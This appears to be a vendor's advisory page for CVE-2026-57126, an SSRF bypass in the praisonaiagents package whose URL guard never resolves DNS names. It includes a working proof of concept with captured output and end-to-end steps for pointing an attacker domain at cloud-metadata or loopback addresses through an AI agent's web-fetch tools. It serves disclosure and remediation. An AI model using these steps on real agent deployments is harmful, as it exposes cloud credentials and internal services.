Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐍
🐍 PyPI
Not in CISA KEV
HIGH severity

CVE-2026-57126

HIGH

CVE-2026-57126 is a high-severity (CVSS 8.5) Server-Side Request Forgery (SSRF) vulnerability in praisonaiagents. O3 Security confirms whether CVE-2026-57126 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

praisonaiagents: SSRF guard validates literal IPs only and never resolves DNS

Also known asPYSEC-2026-3535
Published
Jun 18, 2026
Updated
Jul 23, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Jul 23, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-57126.

Real-World Exposure

1 pkg affected
🐍praisonaiagents

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

praisonaiagents: SSRF guard validates literal IPs only and never resolves DNS

Researcher: Kai Aizen — SnailSploit (@SnailSploit), Adversarial & Offensive Security Research Target: https://github.com/MervinPraison/PraisonAI Weakness: CWE-918 Server-Side Request Forgery (SSRF).


Summary

The SSRF guard shared by PraisonAI's web tools (SpiderTools._validate_url_host_is_blocked in praisonaiagents/tools/spider_tools.py) inspects only literal IP-address encodings of the URL host. It never resolves DNS names. Any hostname whose A/AAAA record points at an internal, loopback, link-local, or cloud-metadata address passes validation and the request is issued to that target. A static internal A record is sufficient — no DNS-rebinding race is required.

The guard's own docstring claims it returns True "when hostname resolves to loopback/private/internal targets," but no resolution is performed. The fix for CVE-2026-47390 added more encodings of literal IPs (decimal integer, 0x hex, inet_aton); it did not address the class "host is a name that resolves to a forbidden address."

The same guard is reached through two tool surfaces:

  • scrape_page / crawl / extract_links / extract_text (spider tools)
  • the @url mention fetch in praisonaiagents/tools/mentions.py (which calls the identical SpiderTools._validate_url then urllib.request.urlopen)

The correct pattern already exists in the same package: file_tools.py resolves the host with socket.getaddrinfo and checks each resolved address before fetching. spider_tools / mentions do not.

Affected packages

  • pip/praisonaiagents <= 1.6.39
  • pip/PraisonAI <= 4.6.39

Root cause

praisonaiagents/tools/spider_tools.py, _host_is_blocked (def at line 26):

def _host_is_blocked(hostname: str) -> bool:
    """Return True when hostname resolves to loopback/private/internal targets."""
    ...
    if host.isdigit():                                  # decimal-int IPv4 literal
        return _ip_blocked(ipaddress.ip_address(int(host)))
    if host.startswith("0x"):                           # hex IPv4 literal
        return _ip_blocked(ipaddress.ip_address(int(host, 16)))
    try:
        return _ip_blocked(ipaddress.ip_address(host))  # dotted v4 / v6 literal
    except ValueError:
        pass
    try:
        return _ip_blocked(ipaddress.ip_address(socket.inet_aton(host)))  # octal/short v4
    except OSError:
        pass
    return False                                        # <-- any DNS name lands here

Every branch operates on the literal string. For a DNS name (attacker.example): it is not in the literal block sets, not a .local/.internal suffix, int(host) is not applicable, ipaddress.ip_address(name) raises ValueError (swallowed), inet_aton(name) raises OSError (swallowed), and the function returns False — "not blocked." socket.getaddrinfo / gethostbyname are never called anywhere in this path.

_validate_url (def line 74) ends with:

            if _host_is_blocked(parsed.hostname):
                return False
            return True

so a name verdict of "not blocked" yields _validate_url(...) == True, and the caller (scrape_page, or mentions._fetch_url at lines 273–284) proceeds to fetch the original URL via requests / urllib.request.urlopen.

The literal-IP coverage is otherwise good — Python's ipaddress.is_reserved / is_private happen to flag NAT64 (64:ff9b::/96), 6to4 (2002::/16), IPv4-mapped (::ffff:), and IPv4-compatible (::/96) forms. The single residual literal gap is deprecated site-local fec0::/10 (is_private and is_reserved both False), which is low-impact on modern stacks. The DNS-name class is the material issue.

The promise that was broken

The block set explicitly contains "169.254.169.254" and "metadata.google.internal" (line 33) — documented intent to stop cloud-metadata theft. A name-based request defeats exactly that intent: register metadata-thief.example with an A record of 169.254.169.254, and the literal block is never consulted because resolution never happens.

Proof of concept

import socket
from praisonaiagents.tools.spider_tools import _host_is_blocked, SpiderTools

# Literal forms the CVE-2026-47390 fix added — correctly blocked:
for h in ["127.0.0.1", "2130706433", "0x7f000001", "169.254.169.254", "::1"]:
    assert _host_is_blocked(h) is True, h

# DNS names that resolve to internal targets — NOT blocked (the class the fix missed):
for h in ["attacker-controlled.example", "metadata-thief.com", "rebind.attacker.net"]:
    assert _host_is_blocked(h) is False, h     # A record may be 127.0.0.1 / 169.254.169.254

st = SpiderTools
assert st._validate_url("http://127.0.0.1/") is False           # literal blocked
assert st._validate_url("http://metadata-thief.com/") is True   # name passes -> request fires

# The guard never even attempts resolution:
import praisonaiagents.tools.spider_tools as S
S.socket.getaddrinfo = lambda *a, **k: (_ for _ in ()).throw(RuntimeError("RESOLVER CALLED"))
assert _host_is_blocked("attacker.example") is False            # no RuntimeError -> never resolved

print("[+] CONFIRMED: SSRF guard ignores DNS resolution; name->internal bypasses validation")

End-to-end against a deployed agent: point any controlled domain's A record at 169.254.169.254 (or 127.0.0.1, or an RFC1918 service), then drive an agent that has scrape_page/crawl enabled, or include the URL as an @url mention. The fetch reaches the internal/metadata target and its response is returned into model context.

Remediation

Resolve the host and apply the existing _ip_blocked check to every resolved address before fetching — the pattern already implemented in praisonaiagents/tools/file_tools.py (lines 339–344):

resolved = socket.getaddrinfo(parsed.hostname, parsed.port or (443 if parsed.scheme == "https" else 80))
for family, _, _, _, sockaddr in resolved:
    if _ip_blocked(ipaddress.ip_address(sockaddr[0])):
        return True   # blocked

To also close DNS rebinding (resolve-then-connect TOCTOU), pin the connection to the validated address rather than re-resolving at fetch time. Apply the same fix to both _validate_url and mentions._fetch_url. Additionally add fec0::/10 to the IPv6 rejection set for completeness.

Steps to reproduce

  1. Clone the target: git clone --depth 1 https://github.com/MervinPraison/PraisonAI
  2. Run the proof of concept shown above against the cloned source.
  3. Observe the result shown under Verified result below.

Verified result

This PoC was executed against the live upstream code; captured output:

== Literal internal/loopback encodings — correctly BLOCKED ==
   127.0.0.1            blocked=True
   2130706433           blocked=True
   0x7f000001           blocked=True
   169.254.169.254      blocked=True
   ::1                  blocked=True
   localhost            blocked=True
   10.0.0.5             blocked=True

== DNS names whose A-record could point internal — NOT blocked (the gap) ==
   attacker-controlled.example  blocked=False
   metadata-thief.com           blocked=False
   rebind.attacker.net          blocked=False

== Prove resolution is NEVER attempted (monkeypatch getaddrinfo to explode) ==
   _host_is_blocked('metadata-thief.com') = False  (no RuntimeError -> DNS never resolved)

== _validate_url verdict (replicating the method's host check on the real func) ==
   http://127.0.0.1/        -> validate=False  (blocked)
   http://metadata-thief.com/ -> validate=True  (PASSES -> request fires)

[+] CONFIRMED: name->internal bypasses the SSRF guard; getaddrinfo/gethostbyname never called.

Credit

Kai Aizen — SnailSploit (@SnailSploit). Adversarial & Offensive Security Research.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIpraisonaiagentsall versions1.6.59

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for praisonaiagents. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update praisonaiagents to 1.6.59 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-57126 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether CVE-2026-57126 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to CVE-2026-57126. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

# praisonaiagents: SSRF guard validates literal IPs only and never resolves DNS **Researcher:** Kai Aizen — SnailSploit (@SnailSploit), Adversarial & Offensive Security Research **Target:** https://github.com/MervinPraison/PraisonAI **Weakness:** CWE-918 Server-Side Request Forgery (SSRF). --- ## Summary The SSRF guard shared by PraisonAI's web tools (`SpiderTools._validate_url` → `_host_is_blocked` in `praisonaiagents/tools/spider_tools.py`) inspects only **literal IP-address encodings** of the URL host. It never resolves DNS names. Any hostname whose A/AAAA record points at an internal,
O3 Security · Impact-Aware SCA

Is CVE-2026-57126 in your dependencies?

O3 detects CVE-2026-57126 across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.